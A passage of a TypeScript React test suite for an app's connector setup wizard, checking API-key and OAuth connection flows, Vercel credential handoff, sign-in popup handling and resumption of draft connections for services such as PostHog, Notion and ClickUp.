radioContaining("Use an API key")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("set publish actions to Ask first");
|
||
const keyInput = container.querySelector<HTMLInputElement>('input[type="password"]');
|
||
expect(keyInput).toBeTruthy();
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
|
||
await act(async () => {
|
||
setInputValue(keyInput!, "gauge-test-key");
|
||
});
|
||
await flushReact();
|
||
const submit = buttonByText("Connect");
|
||
expect(submit?.disabled).toBe(false);
|
||
await act(async () => {
|
||
submit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "gauge",
|
||
connectionMethodKey: "mcp-api-key",
|
||
credentialValues: { "credentials.authorization": "gauge-test-key" },
|
||
}));
|
||
});
|
||
|
||
it("enables Neon's Connect button only once the API key is entered, with pin and read-only optional", async () => {
|
||
mockParams.appKey = "neon";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NEON] });
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
expect(radioContaining("Sign in with Neon")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
|
||
await act(async () => {
|
||
radioContaining("Use an API key")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const keyInput = container.querySelector<HTMLInputElement>('input[type="password"]');
|
||
expect(keyInput).toBeTruthy();
|
||
expect(container.textContent).toContain("Pin to project ID");
|
||
expect(container.querySelector<HTMLInputElement>('input[placeholder="Optional Neon project ID"]')).toBeTruthy();
|
||
expect(container.querySelector('[role="switch"]')?.getAttribute("aria-checked")).toBe("false");
|
||
// The key is the only required input on this method: Connect waits for it
|
||
// and for nothing else, since both narrowing controls are optional.
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
|
||
await act(async () => {
|
||
setInputValue(keyInput!, "napi_test-key");
|
||
});
|
||
await flushReact();
|
||
const submit = buttonByText("Connect");
|
||
expect(submit?.disabled).toBe(false);
|
||
await act(async () => {
|
||
submit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "neon",
|
||
connectionMethodKey: "mcp-api-key",
|
||
credentialValues: { "credentials.authorization": "napi_test-key" },
|
||
configValues: { readOnly: false },
|
||
}));
|
||
});
|
||
|
||
it("connects PostHog without a project ID and keeps optional controls advanced", async () => {
|
||
mockParams.appKey = "posthog";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [POSTHOG] });
|
||
await render();
|
||
// PAP-659: identity is stated, not asked, and the method chooser moved
|
||
// into the same Advanced disclosure.
|
||
expect(container.textContent).toContain("Connects for everyone in your organization");
|
||
await openAccessAdvanced();
|
||
|
||
expect(container.textContent).toContain("How do you want to connect?");
|
||
// PAP-659 C1: OAuth is strictly less work than a key, so it is preselected.
|
||
expect(radioContaining("Sign in with PostHog")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("Use a personal API key")?.getAttribute("aria-checked")).toBe("false");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
|
||
await act(async () => {
|
||
radioContaining("Use a personal API key")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).not.toContain("Where are credentials managed?");
|
||
expect(container.textContent).not.toContain("Vercel Connect");
|
||
|
||
const keyInput = container.querySelector<HTMLInputElement>('input[type="password"]');
|
||
const advanced = buttonByText("Change");
|
||
expect(keyInput).toBeTruthy();
|
||
// PAP-659: the optional controls share the one Advanced disclosure with
|
||
// the access defaults, so they are visible because it is already open —
|
||
// and they are still optional, so none of them blocks Connect.
|
||
expect(advanced).toBeTruthy();
|
||
expect(container.textContent).toContain("Pin to project ID");
|
||
expect(container.querySelector<HTMLInputElement>('input[placeholder="Optional numeric project ID"]')).toBeTruthy();
|
||
expect(container.querySelector('[role="switch"]')?.getAttribute("aria-checked")).toBe("false");
|
||
expect(container.textContent).toContain("Feature groups");
|
||
expect(container.textContent).toContain("Individual tools");
|
||
expect(container.textContent).not.toContain("Tool response mode");
|
||
|
||
await act(async () => {
|
||
setInputValue(keyInput!, "phx_test-key");
|
||
});
|
||
await flushReact();
|
||
const submit = buttonByText("Connect");
|
||
expect(submit).toBeTruthy();
|
||
expect(submit?.disabled).toBe(false);
|
||
await act(async () => {
|
||
submit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", {
|
||
galleryKey: "posthog",
|
||
connectionMethodKey: "mcp-api-key",
|
||
name: "PostHog for the organization",
|
||
credentialSource: "paperclip_vault",
|
||
credentialValues: { "credentials.authorization": "phx_test-key" },
|
||
configValues: {
|
||
readOnly: false,
|
||
mode: "tools",
|
||
},
|
||
applicationId: undefined,
|
||
// Flexible methods default to a company identity, represented by omitting
|
||
// the optional personal grantKind from the request.
|
||
});
|
||
});
|
||
|
||
it("hands reviewed PostHog credentials to Vercel and submits only the connector reference", async () => {
|
||
mockParams.appKey = "posthog";
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [POSTHOG],
|
||
credentialSources: {
|
||
vercelConnect: {
|
||
available: true,
|
||
enabled: true,
|
||
authentication: "access_token",
|
||
manageUrl: "https://vercel.com/connect",
|
||
reason: null,
|
||
},
|
||
},
|
||
});
|
||
await render(undefined, false, <AppsConnect credentialSource="vercel_connect" />);
|
||
await openAccessAdvanced();
|
||
await act(async () => {
|
||
radioContaining("Use a personal API key")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Create or attach the connector in Vercel");
|
||
expect(container.querySelector('a[href="https://vercel.com/connect"]')).toBeTruthy();
|
||
expect(container.querySelector<HTMLInputElement>('input[type="password"]')).toBeNull();
|
||
const connectorInput = container.querySelector<HTMLInputElement>('#vercel-connect-connector');
|
||
expect(connectorInput).toBeTruthy();
|
||
await act(async () => {
|
||
setInputValue(connectorInput!, "posthog/paperclip");
|
||
});
|
||
await flushReact();
|
||
const vercelSubmit = buttonByText("Validate and connect");
|
||
expect(vercelSubmit).toBeTruthy();
|
||
expect(vercelSubmit?.disabled).toBe(false);
|
||
await act(async () => {
|
||
vercelSubmit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", {
|
||
galleryKey: "posthog",
|
||
connectionMethodKey: "mcp-api-key",
|
||
name: "PostHog for the organization",
|
||
credentialSource: "vercel_connect",
|
||
vercelConnect: { connector: "posthog/paperclip" },
|
||
configValues: { readOnly: false, mode: "tools" },
|
||
applicationId: undefined,
|
||
});
|
||
expect(JSON.stringify(connectAppMock.mock.calls[0])).not.toContain("credentialValues");
|
||
});
|
||
|
||
it("folds optional customer-owned OAuth details under Change", async () => {
|
||
mockParams.appKey = "posthog";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [POSTHOG] });
|
||
await render();
|
||
await passAccessStep();
|
||
|
||
await act(async () => {
|
||
radioContaining("Sign in with PostHog")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const advanced = buttonByText("Change");
|
||
expect(advanced?.getAttribute("aria-expanded")).toBe("false");
|
||
expect(container.textContent).not.toContain("Use your own OAuth app");
|
||
expect(container.querySelector("#curated-oauth-client-id")).toBeNull();
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
|
||
await act(async () => {
|
||
advanced?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Use your own OAuth app");
|
||
expect(container.querySelector("#curated-oauth-client-id")).toBeTruthy();
|
||
expect(container.textContent).toContain("Paperclip callback URL");
|
||
});
|
||
|
||
it("shows unavailable Vercel configuration only inside the isolated Vercel entry point", async () => {
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [POSTHOG],
|
||
credentialSources: {
|
||
vercelConnect: {
|
||
available: false,
|
||
enabled: true,
|
||
authentication: null,
|
||
manageUrl: "https://vercel.com/connect",
|
||
reason: "Vercel Connect needs workload OIDC or an instance access token.",
|
||
},
|
||
},
|
||
});
|
||
await render(undefined, false, <AppsConnect credentialSource="vercel_connect" />);
|
||
|
||
expect(container.textContent).toContain("Connect through Vercel");
|
||
expect(container.textContent).toContain("Vercel Connect needs workload OIDC or an instance access token.");
|
||
expect(buttonContaining("PostHog")?.disabled).toBe(true);
|
||
expect(container.textContent).not.toContain("Where are credentials managed?");
|
||
});
|
||
|
||
it("renders the same PostHog method choices in page and task-dialog hosts", async () => {
|
||
const checkMethodChoices = async () => {
|
||
await openAccessAdvanced();
|
||
expect(radioContaining("Sign in with PostHog")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("Use a personal API key")?.getAttribute("aria-checked")).toBe("false");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
await act(async () => {
|
||
radioContaining("Use a personal API key")!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(radioContaining("Sign in with PostHog")?.getAttribute("aria-checked")).toBe("false");
|
||
expect(radioContaining("Use a personal API key")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
const keyInput = container.querySelector<HTMLInputElement>('input[type="password"]');
|
||
expect(keyInput).toBeTruthy();
|
||
await act(async () => setInputValue(keyInput!, "phx_host-test-key"));
|
||
await flushReact();
|
||
expect(buttonByText("Connect")?.disabled).toBe(false);
|
||
await act(async () => {
|
||
radioContaining("Sign in with PostHog")!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
};
|
||
|
||
mockParams.appKey = "posthog";
|
||
listGalleryMock.mockResolvedValue({ apps: [POSTHOG] });
|
||
const pageRoot = await render();
|
||
await checkMethodChoices();
|
||
await act(async () => pageRoot.unmount());
|
||
container.innerHTML = "";
|
||
|
||
mockParams.appKey = undefined;
|
||
const dialogRoot = await render(undefined, false, (
|
||
<ConnectionSetupFlow
|
||
host="dialog"
|
||
serviceSlug="posthog"
|
||
requestedAgentId="agent-1"
|
||
/>
|
||
));
|
||
expect(container.textContent).toContain("available to the agent that asked for it");
|
||
const continueButton = Array.from(container.querySelectorAll("button")).find(
|
||
(button) => button.textContent?.trim().startsWith("Continue"),
|
||
);
|
||
expect(continueButton).toBeTruthy();
|
||
expect(continueButton?.disabled).toBe(false);
|
||
await checkMethodChoices();
|
||
await act(async () => {
|
||
buttonByText("Continue to sign in")!.click();
|
||
});
|
||
await flushReact();
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
await act(async () => dialogRoot.unmount());
|
||
});
|
||
|
||
it("reserves the task-dialog OAuth popup before awaiting connection setup and assigns only the validated URL", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [NOTION] });
|
||
let resolveConnect!: (value: unknown) => void;
|
||
connectAppMock.mockReturnValue(new Promise((resolve) => { resolveConnect = resolve; }));
|
||
const assign = vi.fn();
|
||
const focus = vi.fn();
|
||
const openSpy = vi.spyOn(window, "open").mockReturnValue({
|
||
closed: false,
|
||
location: { assign },
|
||
focus,
|
||
} as unknown as Window);
|
||
|
||
const dialogRoot = await render(undefined, false, (
|
||
<ConnectionSetupFlow
|
||
host="dialog"
|
||
serviceSlug="notion"
|
||
requestedAgentId="agent-1"
|
||
interactionId="interaction-1"
|
||
/>
|
||
));
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(openSpy).toHaveBeenCalledWith(
|
||
"about:blank",
|
||
"paperclip-connection-oauth",
|
||
"popup,width=720,height=760,resizable=yes,scrollbars=yes",
|
||
);
|
||
expect(openSpy.mock.invocationCallOrder[0]).toBeLessThan(connectAppMock.mock.invocationCallOrder[0]!);
|
||
expect(assign).not.toHaveBeenCalled();
|
||
|
||
resolveConnect({
|
||
connectionId: "conn-notion",
|
||
application: { id: "app-notion", name: "Notion" },
|
||
connection: { id: "conn-notion", credentialPolicy: "per_user" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://untrusted-return-value.test/ignored" },
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-notion", {
|
||
asCurrentUser: true,
|
||
interactionId: "interaction-1",
|
||
});
|
||
expect(assign).toHaveBeenCalledWith("https://mcp.notion.com/authorize?state=resumed");
|
||
expect(assign).not.toHaveBeenCalledWith("https://untrusted-return-value.test/ignored");
|
||
expect(focus).toHaveBeenCalled();
|
||
|
||
openSpy.mockRestore();
|
||
await act(async () => dialogRoot.unmount());
|
||
});
|
||
|
||
it("returns a standalone GitHub popup to its host only after verifying the saved connection", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB_MANAGED] });
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-github", application: { id: "app-github", name: "GitHub" },
|
||
connection: { id: "conn-github", credentialPolicy: "per_user" },
|
||
actions: { readOnly: [], canMakeChanges: [] }, catalog: [], suggestedDefaults: {},
|
||
auth: { kind: "oauth" },
|
||
});
|
||
const popup = { closed: false, location: { href: "about:blank", assign: vi.fn() }, focus: vi.fn(), close: vi.fn() };
|
||
vi.spyOn(window, "open").mockReturnValue(popup as unknown as Window);
|
||
const onComplete = vi.fn();
|
||
getConnectionMock.mockResolvedValue({ id: "conn-github", status: "active" });
|
||
const dialogRoot = await render(undefined, false, <ConnectionSetupFlow host="dialog" serviceSlug="github" forceNewConnection onComplete={onComplete} />);
|
||
await passAccessStep();
|
||
await act(async () => buttonByText("Continue to GitHub")!.click());
|
||
await flushReact();
|
||
await flushReact();
|
||
expect(connectAppMock, container.textContent ?? "").toHaveBeenCalled();
|
||
expect(startOAuthMock, container.textContent ?? "").toHaveBeenCalledWith("conn-github", { asCurrentUser: true });
|
||
expect(onComplete).not.toHaveBeenCalled();
|
||
popup.location.href = `${window.location.origin}/CO/apps/conn-github/permissions?success=1`;
|
||
await act(async () => {
|
||
await vi.waitFor(() => expect(onComplete).toHaveBeenCalledWith({ connectionId: "conn-github" }), { timeout: 2500 });
|
||
});
|
||
expect(getConnectionMock).toHaveBeenCalledWith("conn-github");
|
||
expect(popup.close).toHaveBeenCalled();
|
||
await act(async () => dialogRoot.unmount());
|
||
});
|
||
|
||
it("keeps the task dialog recoverable when the browser blocks its reserved OAuth popup", async () => {
|
||
listGalleryMock.mockResolvedValue({ apps: [NOTION] });
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-notion",
|
||
application: { id: "app-notion", name: "Notion" },
|
||
connection: { id: "conn-notion", credentialPolicy: "per_user" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: null },
|
||
});
|
||
const openSpy = vi.spyOn(window, "open").mockReturnValue(null);
|
||
const onPhaseChange = vi.fn();
|
||
|
||
const dialogRoot = await render(undefined, false, (
|
||
<ConnectionSetupFlow
|
||
host="dialog"
|
||
serviceSlug="notion"
|
||
requestedAgentId="agent-1"
|
||
interactionId="interaction-1"
|
||
onPhaseChange={onPhaseChange}
|
||
/>
|
||
));
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Open sign-in in a new tab to continue");
|
||
expect(container.textContent).toContain("Try again");
|
||
expect(onPhaseChange).toHaveBeenCalledWith("needs_retry");
|
||
const fallback = container.querySelector<HTMLAnchorElement>('a[target="_blank"]');
|
||
expect(fallback?.textContent).toBe("Open sign-in in a new tab");
|
||
expect(fallback?.href).toContain("https://mcp.notion.com/authorize");
|
||
expect(fallback?.rel).toBe("noopener noreferrer");
|
||
|
||
openSpy.mockRestore();
|
||
await act(async () => dialogRoot.unmount());
|
||
});
|
||
|
||
it("chooses identity before the Notion source deep link opens provider sign-in", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-notion",
|
||
application: { id: "app-notion", name: "Notion" },
|
||
connection: { id: "conn-notion" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://mcp.notion.com/authorize?state=opaque" },
|
||
});
|
||
|
||
await render();
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("Connects for everyone in your organization");
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).not.toContain("Choose access before sign-in");
|
||
const identityRadios = Array.from(document.body.querySelectorAll('[role="radio"]'));
|
||
expect(identityRadios.find((radio) => radio.textContent?.includes("Any human in the organization"))?.getAttribute("aria-checked"))
|
||
.toBe("true");
|
||
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", {
|
||
galleryKey: "notion",
|
||
connectionMethodKey: "mcp-oauth",
|
||
name: "Notion for the organization",
|
||
credentialSource: "paperclip_vault",
|
||
credentialValues: {},
|
||
configValues: undefined,
|
||
applicationId: undefined,
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=opaque",
|
||
);
|
||
});
|
||
|
||
it("keeps the same steps when Notion sign-in takes over the wizard", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
connectAppMock.mockReturnValueOnce(new Promise(() => {}));
|
||
|
||
await render();
|
||
|
||
// PAP-659: a curated connector is a single screen, so it shows no stepper
|
||
// at all. Connecting must not conjure one.
|
||
expect(stepLabelsOnScreen()).toEqual([]);
|
||
expect(stepDotCount()).toBe(0);
|
||
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(container.textContent).toContain("Preparing secure sign-in");
|
||
expect(container.textContent).toContain("Connect Notion");
|
||
expect(container.textContent).toContain("Preparing…");
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(stepLabelsOnScreen()).toEqual([]);
|
||
expect(stepDotCount()).toBe(0);
|
||
});
|
||
|
||
it("backs from the sign-in checkpoint out to the connector gallery", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
connectAppMock.mockReturnValueOnce(new Promise(() => {}));
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
await act(async () => {
|
||
buttonByText("Back")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps");
|
||
});
|
||
|
||
it("resumes an existing Notion OAuth connection instead of creating another draft", async () => {
|
||
const interactionId = "11111111-1111-4111-8111-111111111111";
|
||
mockSearch.value = `source=notion&intent=${interactionId}`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [notionApplication("draft")],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [notionConnection("conn-existing", "per_user", "draft")],
|
||
});
|
||
startOAuthMock.mockResolvedValueOnce(oauthStartResponse("conn-existing", "notion", "https://mcp.notion.com/authorize?state=existing"));
|
||
|
||
await render();
|
||
expect(container.textContent).not.toContain("Reconnect keeps this identity type");
|
||
expect(container.textContent).toContain("agent access stays as it is");
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-existing", {
|
||
asCurrentUser: true,
|
||
interactionId,
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=existing",
|
||
);
|
||
});
|
||
|
||
it("resumes the exact draft selected by Finish setup", async () => {
|
||
mockSearch.value = "source=notion&resume=22222222-2222-4222-8222-222222222222";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [notionApplication("active")],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [
|
||
notionConnection("11111111-1111-4111-8111-111111111111", "shared", "draft"),
|
||
notionConnection("22222222-2222-4222-8222-222222222222", "per_user", "draft"),
|
||
],
|
||
});
|
||
|
||
await render();
|
||
await vi.waitFor(() => {
|
||
expect(container.textContent).toContain("Finish connecting Notion");
|
||
});
|
||
expect(getConnectionMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("identity and agent access will stay the same");
|
||
expect(container.textContent).not.toContain("Choose access before sign-in");
|
||
expect(buttonByText("Continue to sign in")).toBeUndefined();
|
||
await act(async () => {
|
||
buttonByText("Finish with Notion")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).toHaveBeenCalledWith(
|
||
"22222222-2222-4222-8222-222222222222",
|
||
{ asCurrentUser: true },
|
||
);
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=resumed",
|
||
);
|
||
});
|
||
|
||
it("resumes a hidden provider draft only after matching its company-visible application", async () => {
|
||
const connectionId = "22222222-2222-4222-8222-222222222222";
|
||
mockSearch.value = `source=clickup&resume=${connectionId}`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-clickup",
|
||
status: "active",
|
||
metadata: { sourceTemplateKey: "clickup" },
|
||
}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: connectionId,
|
||
applicationId: "app-clickup",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "clickup" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
startOAuthMock.mockResolvedValueOnce(oauthStartResponse(connectionId, "clickup", "https://app.clickup.com/api?state=resumed"));
|
||
|
||
await render();
|
||
await vi.waitFor(() => {
|
||
expect(container.textContent).toContain("Finish connecting ClickUp");
|
||
});
|
||
expect(getAppStoreDefinition("clickup")).toBeNull();
|
||
await act(async () => {
|
||
buttonByText("Finish with ClickUp")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).toHaveBeenCalledWith(connectionId, { asCurrentUser: true });
|
||
});
|
||
|
||
it("keeps a resumed unauthenticated draft through its finish-time active transition", async () => {
|
||
const connectionId = "22222222-2222-4222-8222-222222222222";
|
||
const draft = {
|
||
id: connectionId,
|
||
companyId: "company-1",
|
||
applicationId: "app-context7",
|
||
authKind: "none",
|
||
credentialPolicy: "shared",
|
||
status: "draft",
|
||
transport: "mcp_remote",
|
||
config: { sourceTemplateKey: "context7", connectionMethodKey: "mcp", url: "https://mcp.context7.com/mcp" },
|
||
transportConfig: { sourceTemplateKey: "context7" },
|
||
};
|
||
mockSearch.value = `source=context7&resume=${connectionId}`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValue({
|
||
applications: [{
|
||
id: "app-context7",
|
||
companyId: "company-1",
|
||
status: "active",
|
||
metadata: { sourceTemplateKey: "context7" },
|
||
}],
|
||
});
|
||
listConnectionsMock
|
||
.mockResolvedValueOnce({ connections: [draft] })
|
||
.mockResolvedValue({ connections: [{ ...draft, status: "active" }] });
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId,
|
||
connection: draft,
|
||
application: { name: "Context7" },
|
||
catalog: [{ id: "tool-context7", name: "resolve-library-id", status: "active" }],
|
||
actions: { readOnly: [{ catalogEntryId: "tool-context7", riskLevel: "read" }], canMakeChanges: [] },
|
||
});
|
||
|
||
await render();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Connect Context7"));
|
||
await act(async () => {
|
||
buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await vi.waitFor(() => expect(finishAppMock).toHaveBeenCalledOnce());
|
||
await vi.waitFor(() => {
|
||
expect(container.textContent).not.toContain("This setup can’t be resumed");
|
||
expect(container.textContent).toContain("Context7 is ready.");
|
||
});
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ resumeConnectionId: connectionId }));
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", connectionId, expect.any(Object));
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
await act(async () => {
|
||
buttonByText("View connection")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
expect(mockNavigate).toHaveBeenLastCalledWith(`/apps/${connectionId}/permissions`);
|
||
});
|
||
|
||
it("restores a valid completed resume URL to the exact connection permissions page", async () => {
|
||
const connectionId = "22222222-2222-4222-8222-222222222222";
|
||
mockSearch.value = `source=clickup&stage=complete&resume=${connectionId}`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-clickup",
|
||
companyId: "company-1",
|
||
status: "active",
|
||
metadata: { sourceTemplateKey: "clickup" },
|
||
}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: connectionId,
|
||
companyId: "company-1",
|
||
applicationId: "app-clickup",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
status: "active",
|
||
config: { sourceTemplateKey: "clickup" },
|
||
transportConfig: { sourceTemplateKey: "clickup" },
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
await vi.waitFor(() => {
|
||
expect(mockNavigate).toHaveBeenCalledWith(`/apps/${connectionId}/permissions`, { replace: true });
|
||
});
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("does not treat a draft connection as completed from the URL stage", async () => {
|
||
const connectionId = "22222222-2222-4222-8222-222222222222";
|
||
mockSearch.value = `source=clickup&stage=complete&resume=${connectionId}`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-clickup",
|
||
companyId: "company-1",
|
||
status: "active",
|
||
metadata: { sourceTemplateKey: "clickup" },
|
||
}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: connectionId,
|
||
companyId: "company-1",
|
||
applicationId: "app-clickup",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "clickup" },
|
||
transportConfig: { sourceTemplateKey: "clickup" },
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Finish connecting ClickUp"));
|
||
|
||
expect(mockNavigate).not.toHaveBeenCalledWith(`/apps/${connectionId}/permissions`, { replace: true });
|
||
expect(container.textContent).not.toContain("ClickUp is ready.");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("does not treat a mismatched active connection as completed from the URL stage", async () => {
|
||
const connectionId = "22222222-2222-4222-8222-222222222222";
|
||
mockSearch.value = `source=clickup&stage=complete&resume=${connectionId}`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-monday",
|
||
companyId: "company-1",
|
||
status: "active",
|
||
metadata: { sourceTemplateKey: "monday" },
|
||
}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: connectionId,
|
||
companyId: "company-1",
|
||
applicationId: "app-monday",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
status: "active",
|
||
config: { sourceTemplateKey: "clickup" },
|
||
transportConfig: { sourceTemplateKey: "clickup" },
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("This setup can’t be resumed"));
|
||
|
||
expect(mockNavigate).not.toHaveBeenCalledWith(`/apps/${connectionId}/permissions`, { replace: true });
|
||
